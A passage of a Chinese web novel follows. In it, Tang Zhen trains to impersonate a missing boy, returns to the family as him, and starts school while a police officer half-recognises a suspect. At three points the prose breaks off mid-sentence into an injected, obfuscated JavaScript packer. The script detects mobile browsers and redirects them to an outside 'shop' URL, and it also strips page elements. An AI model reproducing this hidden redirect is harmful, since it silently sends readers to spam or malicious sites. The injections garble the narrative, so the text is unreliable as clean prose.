邢警官左手轻捏着下巴,看着手中一个月前的案件记录出神,“幸好那天的火灾没有人员死亡,可惜让一名路过的女生受了重伤。” 同事点了点头,“是啊,还听说她是浥鸣县第二中学的尖子生。那天刚好是学校的期末活动,外出参观会展,回学校的路上就遇到了这起火灾,这个女同学也受了很重的伤。不知道现在一个多月过去,她恢复得怎么样了。” 邢警官微闭双眼,合上了档案,又拿起一旁新完成的肖像画,问道:“确定这次画得更像了吗?这新的肖像画看着好像和旧的也没差太多嘛,一个半月过去了,也没说有什么动静,连嫌疑人影子都没见着。” 同事抿了抿嘴,叹气道:“咱们浥鸣县监控覆盖率确实还不够,当时也只拍到了嫌疑人的背影,偶尔有一两帧拍到了正脸,但也被帽子和口罩遮着。就连这张旧的肖像画,也是好不容易才从几个目击者的口中问出来的,其中一个人还是碰巧看到嫌疑人摘下口罩喝水,才勉强看到了他的一部分脸而已。” 邢警官摇了摇头,长出了一口气,“一个一个监控排查吧,功夫不负有心人。” 话音刚落,上级领导便进了办公室,将刚才录口供的行凶者押走。 邢警官双眼无神地坐在椅子上,看着被押走的行凶者,脸色才渐渐放松了下来。 突然,邢警官眉头一皱,眼里似乎也瞬间多了几分疑云。 “咝——”邢警官倒吸一口气,“今天下午我好像……” “好像什么?”同事将脸凑了过来。 邢警官指着被押走的行凶者,若有所思地说道:“就是今天下午,在抓那个人的时候,有那么一瞬间,我好像见到了一个有点儿面熟的人。” “有多面熟?”同事好奇地望着邢警官的眼睛。 邢警官将正脸转向同事,“长得就像旧肖像画上的人!只不过……也没有很像,就模模糊糊有几分相似而已。” 说完,邢警官又侧过脸,皱着眉头思考着什么。 同事安慰地轻拍了一下邢警官的右臂,“没事儿,慢慢想,会想起一些细节的。您也别觉得错过了可惜,毕竟旧的肖像画也不一定准确。” 邢警官缓缓点头,“可能是我看错了吧。哎,所以我让你们赶紧多找点线索嘛,不然我遇到长得像的人,都不敢确定到底是不是,又不能把长得像的人全部抓进来审问一番。” 同事笑了笑,看向窗外晚霞流彩的天空,默默收拾起了桌上散乱的文件。 “可能真的是我看错了,不过最近我想有空的时候再去那附近走走。”邢警官像是自言自语,又像是对着同事诉说。 晚霞渐渐褪去,浥鸣县的夜幕缓缓覆盖住整个天空。 八月初的炎热依旧,低低的蝉鸣响彻黑夜,随风钻入县城的每一个角落。 次日,于浩宁吃过母亲做好的早餐,便估摸着时间,来到了汤振所住的旅店,敲响了房门。 “砰砰砰。” 房门被“吱吖”一声推开,汤振叼着牙刷,满嘴泡沫地望着于浩宁,含糊不清地说了一句“进来吧”。 汤振的目光下移,看到了于浩宁手里提的一堆书。 于浩宁喘着气将那堆书扔到凳子上,汤振伸出脚朝门一踢,房门便关上了。 “这都是什么书?”汤振问道,还不等于浩宁回答,便转身去厕所漱口。 于浩宁扯着嗓子道:“这些都是初中三年的语文书和数学书。” 漱完口的汤振从厕所走了出来,耸了耸肩,“我上过初中。” 于浩宁继续叮嘱道:“你还要学习我哥平时是什么样的性格,有哪些生活习惯。” 汤振双手一摊,满脸无助地望着于浩宁,“希望学你哥比学数学容易。” 两人打开厚厚的书本,像是翻开了一本本旧相册。 于浩宁笑道:“这些诗词你再复习一遍吧,初中语文要求背诵的,能记多少算多少。” “那还不简单?背诵诗词可是我的强项!”汤振自信地笑道。 八月初的光影在房间的地板上一次次拉长,又一次次缩短,太阳东升西落,月亮和星辰的奔跑亦从未停歇。 “日月之行,若出其中。星汉灿烂,若出其里。” “站稳了,我哥才不是你这种无所谓的站姿……手要放下来,两脚并拢!” 汤振笨拙地调整着站姿,望着窗外刺眼的日光,无尽的苍穹此刻带来了气吞山河的攻势。 “潮平两岸阔,风正一帆悬。” “你还得游快一点!我哥游泳可厉害了,小时候我还经常和他来这里比赛谁游得快。” 汤振双手费力地扒拉着浪花,看着远处的轮船载着货物,驶向不知名的远方,大海一望无际,海浪一声声拍打在岸上。 “我寄愁心与明月,随风直到夜郎西。” “你说,我哥现在如果还活着的话,他也能看到今晚的月亮吗?” “当然可以,相隔多远的人都能望着明月寄相思。” 汤振拖着疲惫的身体看着空中的满月,拍了拍于浩宁的左肩,让他靠在自己的手臂上。 “会当凌绝顶,一览众山小。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17575457|205002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“你还得记住,我和我哥小时候喜欢爬山,但是具体哪年去的是哪座山,我也已经不记得了,所以这个你应该不用记。” 汤振长舒了一口气,继续练习着于浩磊精神抖擞的站姿、像风一般的走姿。 “山重水复疑无路,柳暗花明又一村。” “这道题你都做不出来,到时候肯定会被老师说的。要不这几天我再多给你找几套题做做吧?” 汤振满头大汗地盯着试卷上的文字,签字笔的笔尖在草稿纸上蜿蜒前行,像是走在崎岖的山路上,想要转个弯就找出一个完美的解法。 “人有悲欢离合,月有阴晴圆缺,此事古难全。” “今晚的月亮又缺了,就快开学了,你到时候可千万别露馅儿呀。和别人相处的时候,有些话如果你不确定,就别说,言多必失。” 汤振“嗯”了一声,擦了擦额头上的汗珠,躺在草坪上,和于浩宁一起望着月牙和漫天星辰。 “采菊东篱下,悠然见南山。” “这可是从菜市场买的新鲜香菜,我哥和我都喜欢吃,你如果实在不喜欢,当着我妈的面,可以少吃一点儿,但不能不吃。还有,你不能再喝牛奶了,我哥哥乳糖不耐受。” 汤振看着这一丝丝绿油油的东西,深吸了一口气,吃完了筷子上的一大夹香菜,又不舍地看了看右边的牛奶,不情愿地拿起了左边的果汁。 “长风破浪会有时,直挂云帆济沧海。” “可以啊你,不到一个月的时间,你游泳的技术就提高了这么多!” 汤振痛并快乐着,脸上露出欣喜的笑容,就连冲破海浪的手似乎也没那么沉重了。汤振憋了一口气,眨眼便游回了岸上。 “忽如一夜春风来,千树万树梨花开。” “可惜我们县城没有冬天,不知道那些像朵朵梨花一样的白雪到底有多可爱。” “这有啥,等冬天,我带你去北方看雪不就行了。” 汤振复又学着于浩磊的标志性动作,一遍又一遍地练习,企图让之成为肌肉记忆。 “天街小雨润如酥,草色遥看近却无。” 日子一天一天过去,闷热这么久,终于有一场雨了,只不过这不是小雨,而是无数倾泻的水幕。 汤振和于浩宁浑身湿透地回到了旅店,两人狼狈地拿下遮雨的外套,疲惫地躺在了床上。 “这么快就八月底了,”于浩宁喃喃道,又问:“明天就要跟我回家了,你紧不紧张?” 汤振呼出几缕雾气,呼吸渐渐平缓,回想起这一个月的辛勤练习,只觉得身心俱疲,竟不觉得紧张。 “你确定要花钱请两个陌生人假扮警察送我去你家?被看出来了怎么办?”汤振问道。 于浩宁懒懒地躺着,转了下脖子,看向身旁汤振的侧脸,“所以只能拜托你演好一点,用……用爱转移注意力!好吧,这个要求可能有点抽象,总之,我们这个月说过的那些细节,你都不要忘呀。” 汤振闭上双眼,“我尽量吧。” “还有名字,千万别忘了,咱妈叫许艺岚,咱爸叫于强……” “放心,我肯定记得住。哦,还有一件事,我的声音呢,我的声音跟你哥不一样吧,这怎么解释?” “你就说你在孤岛上呼救,后来又被非法渔船抓去做苦力,嗓子坏了……” “呃……好吧。” 窗外的大雨渐渐停了下来,整个县城都飘散着清香的泥土味。 两人默默听着停歇了半日的蝉鸣复又从草丛中窸窸窣窣传出,像是在提前为开学演奏着一支没有旋律的合唱。 5. 久别重逢 汤振跟着于浩宁,行至临街的家门前,身后跟着两名假扮的警察。 这一带是旧城区,附近的房屋不过两三层楼高,一栋连着一栋,整整齐齐地竖在道路两侧。每家每户五六米宽,进深约十米。通常,这样一栋两层的楼只住一家人,楼上楼下加起来面积大约一百平米。由于每栋楼紧挨着连城一排,所以只有朝向街道和背向街道的两面才有窗户和门,房门一打开便是人行道。 紧张的呼吸声在两人之中交替出现,两名假扮的警察倒是稍微显得没那么紧张。于浩宁看向汤振的眼睛,汤振深吸一口气,颔首示意。于浩宁这才握紧了手中的钥匙,将之“嘀溜”一声插进锁孔中。 进屋后,光线黯淡下来。 汤振看见了伏案工作的许艺岚,许艺岚也抬头看见了汤振。 空调的温度让刚进门的汤振感到汗毛竖立,他忽然不知道开口第一个字应该是什么。一个月的排练期间,于浩宁让他一进门就叫“妈”,但现在,他却迟迟没有开口。 许艺岚从电脑椅上缓缓站起来,一步接着一步,朝四人走了过来,深邃的眼神像是望着一张无比熟悉的旧照片。 于浩宁亦是没有开口,只紧紧攥着汤振的手。尽管排练了无数次,尽管这是他亲妈,但于浩宁的脸上也同样露出如同汤振那样紧张的神色。 突然,沙发那边传来“砰”的一声清脆响动,是于强不小心让手中的玻璃杯掉在了地上,散落一地的碎片反射着光影,锋利得似乎能刺穿人的内心。 “爸,小心!”于浩宁松开了攥着汤振的手,快步走向于强,拿起纸巾擦拭着于强被水淋湿的裤脚。 许艺岚脸上的神情似乎也被玻璃摔碎的声音冲走,她定了定神,也走向于强旁边,蹲下身,看向于强的双眼。 于强有些惊讶的张张嘴,缓缓抬起右手,指向站在门口的汤振。 许艺岚又站了起来,走到于强身后,握着轮椅,将于强推倒了汤振的面前。 趁此刻父母背对着自己,于浩宁将手指放到嘴唇上,朝汤振做了一个噤声的手势,随后便安静地继续站在玻璃碎片旁。 由于于强的腿伤仍未康复,不便站立,汤振只好缓缓蹲下,让自己的双眼和于强保持在同样的高度。 于强缓缓伸出右手,轻轻地托着汤振温热的脸颊。 许艺岚看着于强颤抖的右手,双眼微红,目光一直落在于强的身上,仿佛在期盼着什么。 于强却显得异常平静,只是出神地望着汤振的脸,好像只是望着一个熟悉又陌生的人,终究没有开口说出半个字。 许艺岚微闭双眼,压低了抽泣声,右手抱着于强的腰,左手扶着汤振的后背。 汤振听不清是谁在哭,仿佛他自己也流下了泪,感觉自己被两股无形的力量牵动着,交织在一起,如同一团乱麻,分不清彼此,嗓子里好像有一股想要瞬间迸发的热度,那是父爱和母爱的温度。 轮椅上的于强亦俯下身,伸出双手,将许艺岚和汤振紧紧抱住,沙发旁的于浩宁这才缓步走向三人,慢慢蹲了下来。 汤振如同失去了自我控制权一般,在这热烈的拥抱中,他突然想要把这十多年的苦楚尽数讲出,这种充满了亲情的拥抱,他渴望了十多年。十多年了,在这一刻,他终于得到了他想要的拥抱。 可是,当许艺岚的手轻轻拍打着后背时,汤振却觉得自己像个空壳,他用力眨了眨眼睛,想要挤出几滴眼泪,但眼中仍然没有一分湿润,仿佛身体僵硬成了一块木板。 汤振微微抬头,看着泪流满面的许艺岚和呆滞出神的于强,看着两人身后的于浩宁,看着倒映着日光的天花板,看着远处明晃晃的玻璃渣子,汤振的身体突然控制不住地颤抖了一下,全身的汗毛都竖了起来,脑海里,好像有一个空洞的声音朝自己吼道: “——你是个一无是处的冒牌货,你是个彻头彻尾的大骗子!” 汤振大吸了一口气,强迫自己清醒,努力不去听自己脑海里的声音。 终于,许艺岚哽咽着声音问汤振:“你是……浩磊?你……你这一年,去了哪里?” 汤振不敢看向许艺岚,他害怕看到一双充满母爱的眼睛,害怕看到一双燃起希望的眼睛。 未来某一天,万一自己身份暴露了,这双眼里重新燃起来的希望,会不会再次熄灭? “我……”汤振努力让自己的声音听起来有几分颤抖,“我……” 汤振又深吸了一口气,准备将彩排过无数次的台词一口说完。 “妈妈这一年都很想你,”许艺岚打断了汤振,复又将他紧紧抱住,“浩磊,你怎么瘦了这么多,也晒黑了。” 或许是被浓烈的情绪感染,汤振从未听过有人对自己说出这样的话,他的热泪终于迸发而出。 “我……是瘦了,我被困在岛上,没什么吃的。” 汤振脑海中拼命回想自己编好的台词,也疯狂回忆着自己曾看过的荒岛求生的电影和纪录片。 许艺岚捧着汤振的脸庞,看了又看,“回来了就好,回来了就好。妈妈这一年,没有哪一天不在想,你到底去了哪里,你有遇到坏人吗,你有饿着肚子吗,你有睡好觉吗……但妈妈不敢细想,怕再往下想,就会想到你受苦的样子。妈妈也好想知道你这一年都经历了什么,但现在,反而,什么都不敢问你。” 说完,许艺岚紧紧搂住汤振,哭泣的声音回荡整间屋子里。 “妈,”汤振空幽的声音似从嗓子里挤出来,“我,我也不知道自己漂到了哪里,先是到了一个岛上,然后被一艘非法渔船救了,但他们不让我上岸,把我和一群非法劳工关在一起……前几天他们靠岸囤补给,我才逃出来,我也不知道自己在哪里,这两天警察才终于把我送了回来。” 说完,汤振看了看还站在身后的两位假扮的警察。 于浩宁在一旁点头又摇头,示意汤振可以不用再说什么了。 许艺岚闭上流泪的双眼,点了点头,又睁眼看向汤振的脸庞,右手紧紧握在汤振的手腕处。 “你比以前瘦了好多,”许艺岚平了平语气,“不过好在回来了,回来了,真好,真好,妈妈再也不会让你受苦了。”说完,复又抱住汤振。 片刻后,许艺岚松开手,“想吃什么?妈妈现在就去买!” 汤振尚未反应过来,于浩宁的母亲只关心自己想吃什么,没有对自己产生一丝怀疑么?自己编的那套台词,才刚说完一句,后面还编了好多神奇的海岛经历,如果自己现在不说,过后忘了怎么办? 汤振心里突然涌出一丝愧疚,他自己也觉得可笑,这些年在养父手底下做了不少坏事,他从来不知道“愧疚”二字怎么写。 回忆了一遍于浩磊喜欢的食物清单,汤振轻声开口道:“糖醋排骨。” 许艺岚带着泪痕的脸上露出一丝欣喜,“好,还是做你从小最爱的糖醋排骨。” 待所有人的情绪趋于平稳,于浩宁才朝两个假扮的警察使了使颜色,两人便拿出一堆乱七八糟的文件,说道:“还请监护人签一下字。” 许艺岚颤抖着握笔签完了字,那两人便将文件装好,说了声“谢谢配合我们工作”,便离开了屋子。 片刻后,大家的情绪大致都缓了下来,眼看日头愈发高悬,正午也快到了。 于浩宁将父亲的轮椅推到沙发边,又来到厨房门口喊道:“妈,饭我来做,你去跟哥聊会儿天吧。” “没事儿,不急,不急,饭还是我来做,你做的东西,你哥吃得惯么?” 许艺岚熟悉地打开冰箱的冷冻格,取出适量的排骨,系上围裙,顾不上一旁闪着消息的电脑,便走进了厨房。 这一顿午餐,许艺岚总是看向汤振,看一次便笑一次,等汤振吃完了一碗饭,又忙问汤振还要不要再添一碗。 “妈,我也没那么饿,回来之前在警局已经吃过一些了。”汤振答道。 许艺岚双眉舒展,“好,吃完去歇会儿吧,桌子我来收拾。” 汤振连忙起身,“不用,妈,你去忙工作吧,这儿交给我和弟弟就行。” 许艺岚宽慰地笑了笑,坐到了沙发上,看着厨房里忙上忙下的两人,眼角又泛起了点点泪光。 下午,许艺岚忙完了手头的工作,又进了卧室,将于浩磊的床铺收拾了一遍。 看着收拾得干干净净的卧室,许艺岚满意地点了点头,随后又打开衣柜,把于浩磊的衣服拿了几件出来,放到汤振身前比划。 “要不要再买几件?你比去年高了。” “不用,妈,明天就开学了,今天在家休息吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17575458|205002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 汤振依言答道。 许艺岚将一件件衣服放到沙发上,摇了摇头笑道:“这些衣服我都会定期拿出来洗,怎么忘了你还在长身体这事儿。” 大家都笑了。 下午和晚餐的时光都是在一片欢馨中度过的。 汤振和于浩宁洗完碗后,便进了书房,说要准备明天开学的东西。许艺岚则在客厅照顾于强,给他捏腿捶背,电视里放着喜剧节目,逗得于强脸上有了一丝难得的喜悦。 夜幕落下,开学之际临近了。 月光如银,缓缓泻下,浥鸣县的街道上今晚极少能听见孩童的打闹声,或许是因为明天开学,大家今晚都早早休息了吧,又或许是作业没完成,准备今晚通宵挑灯夜战赶作业吧。 洗完澡,汤振于浩宁进了卧室,收拾着各自的书包。 睡前,汤振忽然在于浩磊书桌的抽屉里发现了一篇作文。 这篇作文似乎在抽屉里存放了很久了,题目是“与世界握手”,内容是对全世界不同文化的思考,还写了于浩磊去国外旅游的所见所闻和所想,很像是一篇比赛作文。上面修修改改,满是于浩磊的笔迹。 汤振看着作文,喃喃念道:“在多元文化的交汇处,我们并非失去了自我,不同的文化只是一面面不同的镜子,折射出我们内心深处的斑驳,并以更广阔的锚点,去丈量世界的参差……” 于浩宁见汤振读得出神,便走近解释道:“这是我哥高一下学期期末的时候写的作文,当时还给他们班语文老师修改过两次,后来忙着准备期末考试,就没写完。我哥原本是准备花一个暑假打磨,高二开学的时候参加校级的高中生作文大赛,结果暑假的时候失踪了,这篇作文就这样一直放在抽屉里,再没动过。” 汤振听出于浩宁话中的几分惋惜的语气,便又将作文收了起来,随口问道:“校级作文大赛是什么?” “每年上学期开学举行的作文大赛,一般都是花了一整个暑假打磨的作品才会拿去参赛,所以初一和高一两个年级没法参加。如果在校级作文大赛中拿了一等奖,还可以去市里参赛呢。” “哦,”汤振点了点头道,“你哥这篇作文写得这么好……可惜了。” 于浩宁合上抽屉,“你以后聊起我哥的时候,少说‘你哥’,别露馅儿了……” 两人正说着话,卧室门被轻轻敲响,许艺岚的声音从门外传来:“妈拿了点喝的东西给你们。” 汤振看了看半掩着的房门,答道:“门没关呢,妈,进来吧。” 汤振侧过头,又在于浩宁身边耳语了一句“妈还挺注重咱俩的隐私呢”。 许艺岚拿着牛奶和混合果汁走进了卧室。 卧室里只有两盏台灯亮着,透过微弱的灯光,仍然能看见许艺岚脸上欣喜的笑容。 “睡之前补充点营养吧。”说完,许艺岚便将两杯饮料放在了书桌上,玻璃杯碰触到桌面的一瞬间发出清脆悦耳的声音。 汤振习惯性地朝那杯牛奶伸去。 突然,于浩宁的手“唰”地窜了过来,抢先夺过了那杯牛奶,递到嘴边尝了一口,大声说道:“还是鲜牛奶好喝!” 许艺岚“啧”了一声,“你吓我一跳。慢点拿,别把杯子摔碎了。” 汤振只觉得太阳穴微微跳动了一下,这才后知后觉地想起于浩磊乳糖不耐受,自己是不能去拿那杯牛奶的。 一阵后怕的感觉袭来,汤振软绵绵地拿起了混合果汁抿了一口,笑道:“很甜”。 等两人喝完,许艺岚拿起桌上的空杯,叮嘱着,“明天早上的闹钟记得设置好啊,别开学第一天就迟到。” “知道啦。”两人异口同声地答道。 许艺岚提醒完两人早点睡,便拿着杯子朝卧室门走去。 行至门口时,许艺岚忽然放慢了脚步,复杂的眼神在汤振的背影上停留了几秒,随后又笑了笑,摇了摇头,如释重负般地走出了卧室,关上了房门。 安静的卧室,只传来汤振和于浩宁的呼吸声,还有钟表“嘀嗒嘀嗒”的机械声。 夏夜的温度渐渐降低,满天繁星忽明忽暗地闪着,街道上愈发空旷,零星有几个匆匆的行人。 偶尔有汽车从窗外驶过,车灯将行道树的影子投到卧室的天花板上,拉长又缩短,拉长又缩短。 6. 开学第一天 第二天早上,汤振便跟着于浩宁走进了浥鸣县第二中学校,这里设有初中、高中,总共六个年级。 校门上挂着“祝贺本校全市第三名高语婕同学成功考入平州大学”的红色横幅,教学楼的瓷砖贴面反射着尚且温柔的阳光,偶有一处转角爬了些许常春藤。操场上的绿茵像天鹅绒一般,修剪得整整齐齐。 学生们络绎不绝地从校门进入,背着书包,除了初一和高一两个年级以外,其余年级的学生都穿着清一色的校服,拉链通通拉到锁骨的位置,走在零星散着几片落叶的柏油路上。 汤振行走其中,四下张望着,于浩宁有些试探性地问:“看啥呢你?” “哦,我只是觉得学校监控有点少。” “这是全县排名第二的高中,在市里也排得上名次,大家学习全凭自觉,估计不需要什么监控吧。” 偶有微风拂过,簌簌的落叶从汤振的肩头擦过。 “那儿是不是监控死角?”汤振指着操场外的一处角落。 于浩宁并未转头,继续朝教学楼走去,“把重点放在学习上吧,这是所好学校。” “再好的学校也有坏学生。”汤振半开玩笑地说着,想要让气氛不那么尴尬。 “那这个坏学生就是你,”于浩宁板着脸道。 两人又步行片刻,来到了教学楼前。 “哦,还有,”于浩宁吞吞吐吐地补充道,“请你以后说话稍微活泼一点吧,尽量像个高中生一样说话。” “行……”汤振表情复杂地答应了。 公告栏前,许多初一、高一刚入学的新生正在上上下下找着自己的班级,于浩宁也在其中努力搜索着自己的名字。 公告栏旁边,是上个学期期末考试各年级前十名的榜单,这些优秀学生的照片都印在上面,照片下面除了姓名和班级以外,还写着他们的座右铭。 汤振余光瞟到了上学期高二年级的前两名,第一名伍泓,第二名申雅丽,两人的照片笑容十分灿烂。 汤振想起于浩宁总爱说他哥是出了名的学霸,经常考年级第一,算起来其实跟伍泓、申雅丽是同一个年级的,要是去年没失踪,现在的榜上第一会不会仍是于浩磊呢? 这时,于浩宁的声音打断了正在思考的汤振,“我找到班级了,咱们过去吧。” 至于汤振,还得单独去找教导主任恢复学籍才行。好在昨天下午许艺岚已经给教导主任打过电话了,教导主任让汤振早上九点到办公室去即可。 于浩磊比于浩宁大两岁左右,如果去年的高一暑假他没有失踪的话,那么今天应该是他高三开学的日子。如今汤振代替于浩磊“回归”,这学期本应该接着读高二,但学校为了保证学习效率,规定转校或者停学超过一学期的学生在复学的时候要留一级,所以汤振这学期和于浩宁一样,都得念高一。 这对于汤振而言也是件好事,毕竟他只上过初中,接着读高一,不那么容易暴露。汤振心里想着:一定要少去高三那层楼晃悠,毕竟如果遇到于浩磊的原班同学,自己又不认识,那可不好解释了。 想到这里,汤振碰了碰于浩宁的胳膊,问道:“如果我遇到你哥的原班同学怎么办,要不你跟我说几个他以前班上关系好的同学?” “其实我也不怎么认识,”于浩宁摊手道,“我哥在家里也不爱聊学校里的事儿。我哥高一的时候,我才初二,初中也不在这儿读,所以几乎不认识他班上的人。” 汤振答了声“行吧”,便跟着于浩宁来到了教室,看着于浩宁进教室找到座位坐下后,汤振才跟着指引找到了教导主任的办公室。 做了很久的心理建设,汤振才敢推开门进去,没想到因为今天是开学第一天,教导主任早就忙其他事情去了,将汤振的资料交给了另一位后勤工作人员填写。 虽然没见到教导主任,但填写资料的时候,一直有其他年级的学生进进出出,人人嘴里都在抱怨,说教导主任这学期突然变得很严格。 汤振听后只淡淡一笑,教导主任再严格,也是为了学生好,总不至于像外面的混混那样欺负人吧? 填完资料后,汤振感到如释重负,快速走回到了刚才的教室。教导主任也是为了省事,才干脆将汤振和于浩宁分到了同一个班级。 班主任也省事,直接对汤振说:“你跟你弟做同桌吧,也好辅导一下他……诶,也不一定,你都停学一年了,说不定是你弟辅导你呢。” 还不等汤振回答,班主任便笑了几声,连忙道:“老师开玩笑呢,你别生气。” 汤振看着眼前打扮时尚又爱开玩笑的班主任,悬着的心放了下来:还好,这个班主任看上去不那么严格。 交完报名费,大家便一同去了操场,参加开学典礼。 忙完这些,一上午也过去了,全校师生分批次进了食堂吃午饭。好在学校食堂的味道不错,很合汤振的胃口,并且在这里吃饭他不用避开最爱的牛奶,总算不用伪装成乳糖不耐受的于浩磊了。 午休结束后,所有同学还保持着睡眼惺忪的模样,班主任便又进了教室,问有没有谁想去搬教科书。 汤振午休期间根本就没睡着,早就在教室里闷得慌,便拉上于浩宁和坐自己前后桌的两个男同学一起下楼搬书。 库房里堆满了用牛皮纸包着的书籍,初一到高三六个年级的教材都在这里,一本本教材看着轻巧,但几十本叠在一起便像石头一样重了,抱得四人手臂酸痛。 汤振想了想,问:“要不这样,每次少拿点儿,多跑几趟,轻松些?” “那你自己多跑几趟吧,我还是宁愿每次多抱几本。”于浩宁说完,便慢吞吞地抱着书,先行上了楼。 坐汤振前桌的男生附和道:“我觉得你的方法不错,咱们还可以顺便比比看谁跑得快!” 后桌也应声和道:“行啊,我们三个来比比看,谁输了明天中午请吃饭,就吃外面那家新开的瓦罐面条!” “行啊,来,谁怕谁。”汤振斩钉截铁地答道。 说完,三人便将手中的五十本书扔得只剩一半,随后如同百米冲刺一般,三步并作两步跑上了楼梯,从一间间教室外穿行而过,坐在里面的人只能看见三个影子从窗户外面“嗖——嗖——嗖”地跑过去。 三人奔跑的脚步声响彻楼道,都丝毫没注意到二楼和三楼墙上贴着的“开学考试中,请保持安静”几个字。 等到汤振第三次经过一间教室外时,一个老师从教室里走了出来,一把将奔跑的他抓住。 汤振心里“咯噔”一下,这种感觉让他想起了一个月前被于浩宁一把拉进铁门后的场景。 老师抓着汤振的胳膊,掷地有声:“有四个年级都在开学考试呢,你在这里跑来跑去干什么?你是高一哪个班的?” 汤振一时语塞,“不好意思,我也忘了是几班了,今天才开学。” “连自己是几班的都忘了。你给我站好了!就站在这里,直到这堂考试结束!” 说完,老师便红着脸,怒发冲冠地走回了教室。 汤振的心跳还未恢复正常节奏,脸上的汗珠也还没来得及擦,只好把教科书放下,直挺挺地站在教室门口。 汤振的前桌和后桌跑在前面,没有被监考老师抓住,两人一脸心惊胆战地从罚站的汤振面前经过。 “都是你的馊主意。”汤振扯着嘴角低声道。 “对不起,对不起,明天的午饭还是我请吧。”前桌压着嗓子答应着,说完,便连忙拉着后桌,蹑手蹑脚地走下了楼梯。 过了一分钟,于浩宁也拿着书出现在汤振身旁,无奈地问:“你这又是闯什么祸了?” 汤振扯了扯嘴角,眼神瞥了瞥教室里的监考老师,解释道:“那个地中海头发罚我站到这堂考试结束,说我影响他们考试了。” 于浩宁连忙“嘘”一声提醒道:“待会儿他要说你没礼貌了。你要忍住,别发脾气。” 汤振一脸不想听的表情,“凭什么,只是跑得快了点就影响了吗,怎么会有这么离谱的规定?” “——以前是没有,从现在起,就有了!” 楼梯转角处传来一阵铿锵有力的声音,随后便走出一位满脸严肃的女士,她身穿西服,衣裤平整得没有一丝皱褶,齐耳的短发黑油油的,梳得无可挑剔,耳朵、脖子和手腕上什么饰品也没佩戴,手中紧紧攥着几张资料。 于浩宁顺势低下眉头,喊道:“教导主任好。” 汤振看向那位女士,原来这就是自己刚才还十分好奇的教导主任。汤振一时间想不到于浩磊面对这种情况会是什么反应,只好把头低了下去,不再和教导主任对视。 教导主任冷着脸,声音继续回荡在走廊上,“以前是没有这么严格的规定,不过你们要记住,从这学期开始,不能再像以前那样自由散漫了,我们二中有二中的校规。” 汤振仍低着头,压着嗓子答道:“好的,我以后注意。” “不是以后注意,是现在,现在就要注意。” 闻言,汤振连连点头称是,于浩宁也在一旁不知所措,只好抱着手中的书,呆呆站在汤振身旁。 教导主任看了汤振一眼,脸上绷紧的肌肉有了一丝放松,“既然你也回来了,以后还是要注意安全,老老实实遵守校规,你失踪的这一年,老师同学们都很担心你。” “谢谢主任,是我给你们添麻烦了。”汤振头也不敢抬地答道。 说罢,教导主任看了看教室里奋笔疾书的考生,又朝汤振说道:“既然监考老师罚你站到这堂考试结束,那你就老老实实在这里站着吧。如果想去厕所,快去快回。” “好的,主任。”汤振闭上眼,努力调整自己的呼吸节奏。 走廊里,教导主任的脚步声渐渐远去。 等到教导主任的身影消失在走廊远处,于浩宁才开口道:“以后尽量像这样听话一点吧。” 汤振扯了扯嘴角,望着窗外渐渐西沉的太阳,也不知道有没有听进去,只说道:“好吧,知道了。” 于浩宁叮嘱道,“那你继续站着吧,我回教室再叫一个人去把剩下的书搬完。” 望着于浩宁上楼的背影,汤振又挺了挺胸膛,回想起了上个月训练站姿的经历,望着走廊外的风景发呆。 下午三点半,随着“叮铃”一声响,这堂考试终于结束了。 汤振颤颤巍巍地挪动着右脚,随后再慢慢抬了抬左脚,哪怕只迈出一步都很艰难。 教室里的考生陆陆续续交了试卷,依次从教室后门走了出来。 于浩宁也从教室跑了回来,看着快站不稳的汤振,难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17575459|205002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得地笑了一声。 “罚站比跑步还累。”汤振抱怨道。 于浩宁正准备扶着汤振下楼,突然,远处的教室有女生朝这边喊道: “——于浩磊!” 汤振眉梢一抖,刚放下的心又提了起来:高三年级也在这层楼考试,自己肯定是遇到于浩磊的原班同学了,虽然和学校里的人打交道比在外面容易得多,但难点在于自己总想着应该怎样模仿出于浩磊的精髓,结果今天怕什么就来什么。 那女生加快了脚步,走到了两人身旁,后脑勺的马尾辫还在轻微晃动。 “于浩磊,真的是你!”女生惊讶道。 汤振脑子里一片空白,连忙切换了表情,堆笑道:“是啊,费了好大劲儿,才把我救回来。” 女生脸上的笑容明媚清雅,“没事儿,回来就好。那你还好吗,有没有受伤,回到学校还习惯吗?” “挺习惯的,老师都很好……哦,就是教导主任不知道怎么突然变严厉了。”汤振一边回答,一边绞尽脑汁想着怎么说才能让自己看起来很了解这所学校。 “对!你也发现了这个问题。”女生睁大双眼道。 汤振实在不知道该怎么继续聊下去,于是给于浩宁使了使眼色。 于浩宁也是一脸无奈的表情,摇着头做出了“我也不认识”五个字的嘴型,这让汤振更加无助。 